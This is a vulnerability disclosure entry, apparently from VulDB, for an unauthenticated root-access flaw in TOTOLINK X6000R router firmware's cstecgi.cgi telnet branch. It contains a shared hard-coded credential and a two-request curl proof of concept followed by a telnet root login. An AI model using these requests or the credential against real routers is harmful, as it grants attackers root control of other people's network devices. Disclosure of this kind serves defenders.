| Title | TOTOLINK X6000R 9.4.0cu.1640_B20260528 Missing Authentication |
|---|
| Description | TOTOLINK X6000R 9.4.0cu.1640_B20260528 contains an unauthenticated root access vulnerability in the cstecgi.cgi handler of the shttpd web service.
The handler exposes an action=telnet branch. At shttpd offset 0x40A570 the request query is checked for the substring "action=telnet"; on a match sub_4151C0 is invoked directly, bypassing the crpc, app_bind and session-token checks that follow. The login page posts to the same CGI, confirming the endpoint is reachable before authentication.
Two values are validated. "code" must equal get_cmd_result("date '+%m%d%Y'"), i.e. the current date. "password" must equal base64(commitid) with the '=' padding removed. commitid is a compile-time constant in /etc/product:
option commitid '32f263f2c8'
There is no runtime logic that modifies it. base64("32f263f2c8") yields MzJmMjYzZjJjOA, so every device running this build shares the same credential.
A two-step state machine gates execution. switch_en is read from /var/cste/temp_status. When enable=2 the handler only writes switch_en="2". When enable=1 and switch_en equals 2 the handler proceeds, so two requests are sufficient.
On that path the handler runs, at offset 0x4154A4:
doSystem("echo \"%s\" > /var/tmppwd", v11);
doSystem("echo \"%s\" >> /var/tmppwd", v11);
doSystem("passwd < /var/tmppwd");
doSystem("rm -f /var/tmppwd");
CsteSystem("echo '1' > /var/lock/tlt.lock", 0);
CsteSystem("telnetd -l /bin/login &", 0);
system("echo '::askconsole:/bin/login' >> /etc/inittab");
CsteSystem("/sbin/getty -L ttyS0 115200 vt100 &", 0);
CsteSystem (libcscommon.so, offset 0x7770) performs an unescaped shell invocation: argv[0]="sh", argv[1]="-c", argv[2]=cmd, then execv("/bin/sh", argv).
The root password is therefore reset to the attacker-computable value, telnetd is started, a serial login entry is appended to /etc/inittab, and a getty runs on ttyS0. An unauthenticated attacker obtains root.
Proof of concept. Parameters must be in the URL query; placing them in the POST body returns errcode -4.
CODE=$(date +%m%d%Y)
PW=MzJmMjYzZjJjOA
curl -sS -X POST "http://TARGET/cgi-bin/cstecgi.cgi?action=telnet&enable=2&code=${CODE}&password=${PW}"
curl -sS -X POST "http://TARGET/cgi-bin/cstecgi.cgi?action=telnet&enable=1&code=${CODE}&password=${PW}"
telnet TARGET
Login with root / MzJmMjYzZjJjOA returns uid=0(root) gid=0(root).
Verified in a local QEMU environment using the unmodified firmware. Before exploitation /etc/shadow held root::0:0:99999:7::: (empty password); after the two requests it held a set password, telnetd listened on port 23, and crypt() of the shadow hash against MzJmMjYzZjJjOA matched.
Affected: V9.4.0cu.1640_B20260528, SHA-256 19b7a6acece72aea5d28757fd5d267433c7c032d74cde048065cd28f753422dc. V9.4.0cu.652_B20230116 has the same entry point but uses an md5-derived credential and does not reset the root password; the passwd step is new in 1640.
Distinct from CVE-2026-105484 (UploadFirmwareFile/file_name), CVE-2024-2353 (setDiagnosisCfg/ip), CVE-2023-46978 (setWizardCfg), CVE-2024-1661 (local hard-coded credential in /etc/shadow) and CVE-2023-46417 (sub_415498, ping injection). None involve action=telnet, telnetd or commitid.
CVSS v3.1 AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, base 8.8. Attack vector is adjacent because etc/config/csfw sets the default no rule permits port 80 from WAN.
The vendor was contacted by email on 2026-11-11. No response has been received as of this report. |
|---|
| User | Reinon (UID 102921) |
|---|
| Submission | 11/11/2026 11:10 (20 days ago) |
|---|
| Moderation | 11/30/2026 23:06 (19 days later) |
|---|
| Status | Accepted |
|---|
| VulDB entry | 446856 [TOTOLINK X6000R 9.4.0cu.1640_B20260528 shttpd cstecgi.cgi sub_4151C0 action missing authentication] |
|---|
| Points | 20 |
|---|